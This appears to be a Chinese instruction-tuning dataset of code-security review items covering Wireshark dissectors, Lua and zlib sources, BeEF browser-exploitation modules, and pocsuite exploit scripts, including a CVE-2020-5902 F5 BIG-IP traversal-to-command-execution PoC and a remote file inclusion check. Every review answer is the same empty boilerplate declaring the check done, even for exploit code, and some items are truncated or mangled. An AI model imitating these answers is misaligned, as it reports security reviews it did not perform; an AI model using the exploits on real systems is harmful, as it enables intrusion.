/* Some protocols may need code from other dissectors, as here for
 * ssl_dissector_add()
 */
#include "packet-tls.h"

/* Prototypes */
/* (Required to prevent [-Wmissing-prototypes] warnings */
void proto_reg_handoff_PROTOABBREV(void);
void proto_register_PROTOABBREV(void);

/* Initialize the protocol and registered fields */
static int proto_PROTOABBREV = -1;
static int hf_FIELDABBREV = -1;
static expert_field ei_PROTOABBREV_EXPERTABBREV = EI_INIT;

static dissector_handle_t PROTOABBREV_handle;
static dissector_handle_t PROTOABBREV_tls_handle;

/* Global sample preference ("controls" display of numbers) */
static bool pref_hex = false;
/* Global sample port preference - real port prefe...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-PROTOABBREV.c
 * Routines for PROTONAME dissection
 * Copyright YEARS, YOUR_NAME <YOUR_EMAIL_ADDRESS>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: LICENSE
 */

/*
 * (A short description of the protocol including links to specifications,
 *  detailed documentation, etc.)
 */

#include "config.h"
/* Define the name for the logging domain (try to avoid collisions with existing domains) */
#define WS_LOG_DOMAIN "PROTOABBREV"

/* Global header providing a minimum base set of required macros and APIs */
#include <wireshark.h>

#if 0
/* "System" includes used only as needed */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
...
#endif

#include <epan/packet.h>   /* Required dissection API header */
#include <epan/expert.h>   /* Include only as needed */
#include <epan/prefs.h>    /* Include only as needed */

#if 0
/* IF AND ONLY IF your protocol dissector exposes code to other dissectors
 * (which most dissectors don't need to do) then the 'public' prototypes and
 * data structures can go in the header file packet-PROTOABBREV.h. If not, then
 * a header file is not needed at all and this #include statement can be
 * removed. */
#include "packet-PROTOABBREV.h"
#endif

/* Some protocols may need code from other dissectors, as here for
 * ssl_dissector_add()
 */
#include "packet-tls.h"

/* Prototypes */
/* (Required to prevent [-Wmissing-prototypes] warnings */
void proto_reg_handoff_PROTOABBREV(void);
void proto_register_PROTOABBREV(void);

/* Initialize the protocol and registered fields */
static int proto_PROTOABBREV = -1;
static int hf_FIELDABBREV = -1;
static expert_field ei_PROTOABBREV_EXPERTABBREV = EI_INIT;

static dissector_handle_t PROTOABBREV_handle;
static dissector_handle_t PROTOABBREV_tls_handle;

/* Global sample preference ("controls" display of numbers) */
static bool pref_hex = false;
/* Global sample port preference - real port prefe...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hijack_opener < BeEF::Core::Command
  def pre_send
    config = BeEF::Core::Configuration.instance
    hook_file = config.get('beef.http.hook_file')

    src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>'
    src << "<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>"
    src << "<script src='#{hook_file}'></script>"
    src << '<script>var url = window.location.hash.slice(1);'
    src << 'if (url.match(/^https?:\/\//)) {'
    src << 'document.title = url;'
    src << 'document.getElementById("iframe").src = url;'
    src << '}</script></body></html>'
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      { 'Content-Type' => 'text/html' },
      src,
      '/iframe',
      -1
    )
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hijack_opener < BeEF::Core::Command
  def pre_send
    config = BeEF::Core::Configuration.instance
    hook_file = config.get('beef.http.hook_file')

    src = '<title></title>'
    src << ""
    src << ""
    src << ''
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      { 'Content-Type' => 'text/html' },
      src,
      '/iframe',
      -1
    )
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Shuttle_tech_915wm_dns_hijack < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },
      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },
      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC

  module RegisterHttpHandler

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')

    # We register the http handler for the WebRTC signalling extension.
    # This http handler will handle WebRTC signals from browser to browser

    # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
    def self.mount_handler(beef_server)
      beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
      beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
      beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
    end

  end

  module RegisterPreHookCallback

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')

    # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
    # This is also used so that BeEF can send RTCManagement messages to the hooked browser too
    def self.pre_hook_send(hooked_browser, body, params, request, response)
        dhook = BeEF::Extension::WebRTC::API::Hook.new
        dhook.requester_run(hooked_browser, body)
    end

  end

end
end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC

  module RegisterHttpHandler

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')

    # We register the http handler for the WebRTC signalling extension.
    # This http handler will handle WebRTC signals from browser to browser

    # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
    def self.mount_handler(beef_server)
      beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
      beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
      beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
    end

  end

  module RegisterPreHookCallback

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')

    # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
    # This is also used so that BeEF can send RTCManagement messages to the hooked browser too
    def self.pre_hook_send(hooked_browser, body, params, request, response)
        dhook = BeEF::Extension::WebRTC::API::Hook.new
        dhook.requester_run(hooked_browser, body)
    end

  end

end
end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-communityid.c
 *
 * A post-dissector for Community ID flow hashes in Wireshark/tshark.
 *
 * Community ID flow hashing provides a standardized way for mapping
 * flow tuples to string identifiers, used in SIEM searches, network
 * data post-processing/correlation, etc. For details, see:
 *
 * https://github.com/corelight/community-id-spec
 *
 * Copyright 2020, Corelight Inc
 * Contact: Christian Kreibich <christian@corelight.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

/*
 *
 * This module provides a stand-alone implementation of the spec.
 */

#include <config.h>

#include <epan/value_string.h>
#include <epan/ipproto.h>
#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/prefs.h>

#include <wsutil/wsgcrypt.h>

#include "packet-icmp.h"

/* ---- Generic Community ID codebase, based on GLib & GCrypt ------------------
 *
 * The code between here and the corresponding end comment below
 * provides a reusable implementation of the Community ID. To avoid
 * dealing imperfectly with low-level implementation details, it
 * assumes GLib and GCrypt are available. Adaptation to other data
 * types should be straightforward.
 *
 * Version 1.0
 *
 * For updates or feedback please visit:
 * https://github.com/corelight/c-community-id
 *
 * Copyright (c) 2017-2020 by Corelight, Inc
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * (1) Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 * (2) Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 * (3) Neither the name of C...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-communityid.c
 *
 * A post-dissector for Community ID flow hashes in Wireshark/tshark.
 *
 * Community ID flow hashing provides a standardized way for mapping
 * flow tuples to string identifiers, used in SIEM searches, network
 * data post-processing/correlation, etc. For details, see:
 *
 * https://github.com/corelight/community-id-spec
 *
 * Copyright 2020, Corelight Inc
 * Contact: Christian Kreibich <christian@corelight.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

/*
 *
 * This module provides a stand-alone implementation of the spec.
 */

#include <config.h>

#include <epan/value_string.h>
#include <epan/ipproto.h>
#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/prefs.h>

#include <wsutil/wsgcrypt.h>

#include "packet-icmp.h"

/* ---- Generic Community ID codebase, based on GLib & GCrypt ------------------
 *
 * The code between here and the corresponding end comment below
 * provides a reusable implementation of the Community ID. To avoid
 * dealing imperfectly with low-level implementation details, it
 * assumes GLib and GCrypt are available. Adaptation to other data
 * types should be straightforward.
 *
 * Version 1.0
 *
 * For updates or feedback please visit:
 * https://github.com/corelight/c-community-id
 *
 * Copyright (c) 2017-2020 by Corelight, Inc
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * (1) Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 * (2) Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 * (3) Neither the name of C...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '64022'  # ssvid
    version = '1.0'
    author = ['皮皮']
    vulDate = '2006-09-28'
    createDate = '2015-12-24'
    updateDate = '2015-12-24'
    references = ['http://www.sebug.net/vuldb/ssvid-64022']
    name = 'Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability'
    appPowerLink = 'http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download'
    appName = 'Minerva'
    appVersion = '<= 2.0.21'
    vulType = 'Remote File Inclusion'
    desc = ''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vul_url = '%s/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://?' % self.url
        res = req.get(vul_url)

        if 'Baiduspider' in res.content and 'Googlebot' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output

register(TestPOC)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '64022'  # ssvid
    version = '1.0'
    author = ['皮皮']
    vulDate = '2006-09-28'
    createDate = '2015-12-24'
    updateDate = '2015-12-24'
    references = ['http://www.sebug.net/vuldb/ssvid-64022']
    name = 'Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability'
    appPowerLink = 'http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download'
    appName = 'Minerva'
    appVersion = '<= 2.0.21'
    vulType = 'Remote File Inclusion'
    desc = ''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vul_url = '%s/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://?' % self.url
        res = req.get(vul_url)

        if 'Baiduspider' in res.content and 'Googlebot' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output

register(TestPOC)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* color_filters.c
 * Routines for color filters
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
/*
 * Updated 1 Dec 10 jjm
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <glib.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

#include <epan/packet.h>
#include "color_filters.h"
#include "file.h"
#include <epan/dfilter/dfilter.h>
#include <epan/prefs.h>
#include <epan/epan_dissect.h>

#define RED_COMPONENT(x)   (guint16) (((((x) >> 16) & 0xff) * 65535 / 255))
#define GREEN_COMPONENT(x) (guint16) (((((x) >>  8) & 0xff) * 65535 / 255))
#define BLUE_COMPONENT(x)  (guint16) ( (((x)        & 0xff) * 65535 / 255))

static int read_filters_file(const gchar *path, FILE *f, gpointer user_data, color_filter_add_cb_func add_cb);

/* the currently active filters */
static GSList *color_filter_list = NULL;

/* keep "old" deleted filters in this list until
 * the dissection no longer needs them (e.g. file is closed) */
static GSList *color_filter_deleted_list = NULL;
static GSList *color_filter_valid_list   = NULL;

/* Color Filters can en-/disabled. */
static gboolean filters_enabled = TRUE;

/* Remember if there are temporary coloring filters set to
 * add sensitivity to the "Reset Coloring 1-10" menu item
 */
static gboolean tmp_colors_set = FALSE;

/* Create a new filter */
color_filter_t *
color_filter_new(const gchar *name,          /* The name of the filter to create */
                 const gchar *filter_string, /* The string representing the filter */
                 color_t     *bg_color,      /* The background color */
                 color_t     *fg_color,      /* The foreground color */
                 gboolean     disabled)      /* Is th...


Instruction: 检查这段代码是否存在安全问题

Input:
/* color_filters.c
 * Routines for color filters
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
/*
 * Updated 1 Dec 10 jjm
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <glib.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

#include <epan/packet.h>
#include "color_filters.h"
#include "file.h"
#include <epan/dfilter/dfilter.h>
#include <epan/prefs.h>
#include <epan/epan_dissect.h>

#define RED_COMPONENT(x)   (guint16) (((((x) >> 16) & 0xff) * 65535 / 255))
#define GREEN_COMPONENT(x) (guint16) (((((x) >>  8) & 0xff) * 65535 / 255))
#define BLUE_COMPONENT(x)  (guint16) ( (((x)        & 0xff) * 65535 / 255))

static int read_filters_file(const gchar *path, FILE *f, gpointer user_data, color_filter_add_cb_func add_cb);

/* the currently active filters */
static GSList *color_filter_list = NULL;

/* keep "old" deleted filters in this list until
 * the dissection no longer needs them (e.g. file is closed) */
static GSList *color_filter_deleted_list = NULL;
static GSList *color_filter_valid_list   = NULL;

/* Color Filters can en-/disabled. */
static gboolean filters_enabled = TRUE;

/* Remember if there are temporary coloring filters set to
 * add sensitivity to the "Reset Coloring 1-10" menu item
 */
static gboolean tmp_colors_set = FALSE;

/* Create a new filter */
color_filter_t *
color_filter_new(const gchar *name,          /* The name of the filter to create */
                 const gchar *filter_string, /* The string representing the filter */
                 color_t     *bg_color,      /* The background color */
                 color_t     *fg_color,      /* The foreground color */
                 gboolean     disabled)      /* Is th...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str

class F5POC(POCBase):
    vulID = '98285'  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-08'
    createDate = '2020-07-10'
    updateDate = '2020-07-10'
    references = ['https://www.seebug.org/vuldb/ssvid-98285']
    name = 'CVE-2020-5902 RCE AND LFI'
    appPowerLink = ''
    appName = 'F5 BIG-IP load balancer'
    appVersion = '''
    BIG-IP 15.x: 15.1.0/15.0.0
    BIG-IP 14.x: 14.1.0 ~ 14.1.2
    BIG-IP 13.x: 13.1.0 ~ 13.1.3
    BIG-IP 12.x: 12.1.0 ~ 12.1.5
    BIG-IP 11.x: 11.6.1 ~ 11.6.5
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://bacde.me/post/big-ip-cve-2020-5902-check-poc/
    https://mp.weixin.qq.com/s/WFrvqsgj3Ff8XJOIhG5ILA

    shodan
    http.favicon.hash:-335242539

    http.title:"BIG-IP%26reg;- Redirect"

    fofa
    title="BIG-IP%26reg;- Redirect"

    censys
    443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

    443.https.get.title:"BIG-IP%26reg;- Redirect"

    google
    inurl:"tmui/login.jsp"

    intitle:"BIG-IP" inurl:"tmui"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        # print(self.url)
        url = self.url.replace("http://", "")
        # print(url)

        try:
            url1 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'
            url2 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'
            url3 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=...


Instruction: 检查这段代码是否存在安全问题

Input:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str

class F5POC(POCBase):
    vulID = '98285'  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-08'
    createDate = '2020-07-10'
    updateDate = '2020-07-10'
    references = ['https://www.seebug.org/vuldb/ssvid-98285']
    name = 'CVE-2020-5902 RCE AND LFI'
    appPowerLink = ''
    appName = 'F5 BIG-IP load balancer'
    appVersion = '''
    BIG-IP 15.x: 15.1.0/15.0.0
    BIG-IP 14.x: 14.1.0 ~ 14.1.2
    BIG-IP 13.x: 13.1.0 ~ 13.1.3
    BIG-IP 12.x: 12.1.0 ~ 12.1.5
    BIG-IP 11.x: 11.6.1 ~ 11.6.5
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://bacde.me/post/big-ip-cve-2020-5902-check-poc/
    https://mp.weixin.qq.com/s/WFrvqsgj3Ff8XJOIhG5ILA

    shodan
    http.favicon.hash:-335242539

    http.title:"BIG-IP%26reg;- Redirect"

    fofa
    title="BIG-IP%26reg;- Redirect"

    censys
    443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

    443.https.get.title:"BIG-IP%26reg;- Redirect"

    google
    inurl:"tmui/login.jsp"

    intitle:"BIG-IP" inurl:"tmui"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        # print(self.url)
        url = self.url.replace("http://", "")
        # print(url)

        try:
            url1 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'
            url2 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'
            url3 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
** $Id: loslib.c $
** Standard Operating System library
** See Copyright Notice in lua.h
*/

#define loslib_c
#define LUA_LIB

#include "lprefix.h"

#include <errno.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "lua.h"

#include "lauxlib.h"
#include "lualib.h"

/*
** {==================================================================
** List of valid conversion specifiers for the 'strftime' function;
** options are grouped by length; group of length 2 start with '||'.
** ===================================================================
*/
#if !defined(LUA_STRFTIMEOPTIONS)	/* { */

/* options for ANSI C 89 (only 1-char options) */
#define L_STRFTIMEC89		"aAbBcdHIjmMpSUwWxXyYZ%"

/* options for ISO C 99 and POSIX */
#define L_STRFTIMEC99 "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%" \
    "||" "EcECExEXEyEY" "OdOeOHOIOmOMOSOuOUOVOwOWOy"  /* two-char options */

/* options for Windows */
#define L_STRFTIMEWIN "aAbBcdHIjmMpSUwWxXyYzZ%" \
    "||" "#c#x#d#H#I#j#m#M#S#U#w#W#y#Y"  /* two-char options */

#if defined(LUA_USE_WINDOWS)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEWIN
#elif defined(LUA_USE_C89)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC89
#else  /* C99 specification */
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC99
#endif

#endif					/* } */
/* }================================================================== */

/*
** {==================================================================
** Configuration for time-related stuff
** ===================================================================
*/

/*
** type to represent time_t in Lua
*/
#if !defined(LUA_NUMTIME)	/* { */

#define l_timet			lua_Integer
#define l_pushtime(L,t)		lua_pushinteger(L,(lua_Integer)(t))
#define l_gettime(L,arg)	luaL_checkinteger(L, arg)

#else				/* }{ */

#define l_timet			lua_Number
#define l_pushtime(L,t)		lua_pushnumber(L,(lua_Number)(t))
#define l_gettime(L,arg)	luaL_checknumber(L, arg)

#endif				/* } */

#if !defined(l_gmtime)		/* { */
/*
** B...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
** $Id: loslib.c $
** Standard Operating System library
** See Copyright Notice in lua.h
*/

#define loslib_c
#define LUA_LIB

#include "lprefix.h"

#include <errno.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "lua.h"

#include "lauxlib.h"
#include "lualib.h"

/*
** {==================================================================
** List of valid conversion specifiers for the 'strftime' function;
** options are grouped by length; group of length 2 start with '||'.
** ===================================================================
*/
#if !defined(LUA_STRFTIMEOPTIONS)	/* { */

/* options for ANSI C 89 (only 1-char options) */
#define L_STRFTIMEC89		"aAbBcdHIjmMpSUwWxXyYZ%"

/* options for ISO C 99 and POSIX */
#define L_STRFTIMEC99 "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%" \
    "||" "EcECExEXEyEY" "OdOeOHOIOmOMOSOuOUOVOwOWOy"  /* two-char options */

/* options for Windows */
#define L_STRFTIMEWIN "aAbBcdHIjmMpSUwWxXyYzZ%" \
    "||" "#c#x#d#H#I#j#m#M#S#U#w#W#y#Y"  /* two-char options */

#if defined(LUA_USE_WINDOWS)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEWIN
#elif defined(LUA_USE_C89)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC89
#else  /* C99 specification */
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC99
#endif

#endif					/* } */
/* }================================================================== */

/*
** {==================================================================
** Configuration for time-related stuff
** ===================================================================
*/

/*
** type to represent time_t in Lua
*/
#if !defined(LUA_NUMTIME)	/* { */

#define l_timet			lua_Integer
#define l_pushtime(L,t)		lua_pushinteger(L,(lua_Integer)(t))
#define l_gettime(L,arg)	luaL_checkinteger(L, arg)

#else				/* }{ */

#define l_timet			lua_Number
#define l_pushtime(L,t)		lua_pushnumber(L,(lua_Number)(t))
#define l_gettime(L,arg)	luaL_checknumber(L, arg)

#endif				/* } */

#if !defined(l_gmtime)		/* { */
/*
** B...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* enough.c -- determine the maximum size of inflate's Huffman code tables over
 * all possible valid and complete prefix codes, subject to a length limit.
 * Copyright (C) 2007, 2008, 2012, 2018 Mark Adler
 * Version 1.5  5 August 2018  Mark Adler
 */

/* Version history:
   1.0   3 Jan 2007  First version (derived from codecount.c version 1.4)
   1.1   4 Jan 2007  Use faster incremental table usage computation
                     Prune examine() search on previously visited states
   1.2   5 Jan 2007  Comments clean up
                     As inflate does, decrease root for short codes
                     Refuse cases where inflate would increase root
   1.3  17 Feb 2008  Add argument for initial root table size
                     Fix bug for initial root table size == max - 1
                     Use a macro to compute the history index
   1.4  18 Aug 2012  Avoid shifts more than bits in type (caused endless loop!)
                     Clean up comparisons of different types
                     Clean up code indentation
   1.5   5 Aug 2018  Clean up code style, formatting, and comments
                     Show all the codes for the maximum, and only the maximum
 */

/*
   Examine all possible prefix codes for a given number of symbols and a
   maximum code length in bits to determine the maximum table size for zlib's
   inflate. Only complete prefix codes are counted.

   Two codes are considered distinct if the vectors of the number of codes per
   length are not identical. So permutations of the symbol assignments result
   in the same code for the counting, as do permutations of the assignments of
   the bit values to the codes (i.e. only canonical codes are counted).

   We build a code from shorter to longer lengths, determining how many symbols
   are coded at each length. At each step, we have how many symbols remain to
   be coded, what the last code length used was, and how many bit patterns of
   that length remain unused. Then we add one to the c...


Instruction: 检查这段代码是否存在安全问题

Input:
/* enough.c -- determine the maximum size of inflate's Huffman code tables over
 * all possible valid and complete prefix codes, subject to a length limit.
 * Copyright (C) 2007, 2008, 2012, 2018 Mark Adler
 * Version 1.5  5 August 2018  Mark Adler
 */

/* Version history:
   1.0   3 Jan 2007  First version (derived from codecount.c version 1.4)
   1.1   4 Jan 2007  Use faster incremental table usage computation
                     Prune examine() search on previously visited states
   1.2   5 Jan 2007  Comments clean up
                     As inflate does, decrease root for short codes
                     Refuse cases where inflate would increase root
   1.3  17 Feb 2008  Add argument for initial root table size
                     Fix bug for initial root table size == max - 1
                     Use a macro to compute the history index
   1.4  18 Aug 2012  Avoid shifts more than bits in type (caused endless loop!)
                     Clean up comparisons of different types
                     Clean up code indentation
   1.5   5 Aug 2018  Clean up code style, formatting, and comments
                     Show all the codes for the maximum, and only the maximum
 */

/*
   Examine all possible prefix codes for a given number of symbols and a
   maximum code length in bits to determine the maximum table size for zlib's
   inflate. Only complete prefix codes are counted.

   Two codes are considered distinct if the vectors of the number of codes per
   length are not identical. So permutations of the symbol assignments result
   in the same code for the counting, as do permutations of the assignments of
   the bit values to the codes (i.e. only canonical codes are counted).

   We build a code from shorter to longer lengths, determining how many symbols
   are coded at each length. At each step, we have how many symbols remain to
   be coded, what the last code length used was, and how many bit patterns of
   that length remain unused. Then we add one to the c...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dns.c
 * Routines for TSDNS (TeamSpeak3 DNS) packet disassembly
 * Copyright 2018, Maciej Krueger <mkg20001@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <wsutil/strtoi.h>

#define TSDNS_PORT  41144   /* Not IANA registered */

void proto_register_tsdns(void);
void proto_reg_handoff_tsdns(void);
static dissector_handle_t tsdns_handle;

static int proto_tsdns = -1;

static int hf_tsdns_data = -1;
static int hf_tsdns_request = -1;
static int hf_tsdns_request_domain = -1;
static int hf_tsdns_response = -1;
static int hf_tsdns_response_ip = -1;
static int hf_tsdns_response_address = -1;
static int hf_tsdns_response_port = -1;

static expert_field ei_response_port_malformed = EI_INIT;

static gint ett_tsdns = -1;

static int dissect_tsdns(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{

  int         offset    = 0;
  gboolean    request   = FALSE;

  if (pinfo->destport == pinfo->match_uint) {
    request = TRUE;
  }

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "TSDNS");

  int pLen = tvb_reported_length(tvb);

  if (request) {
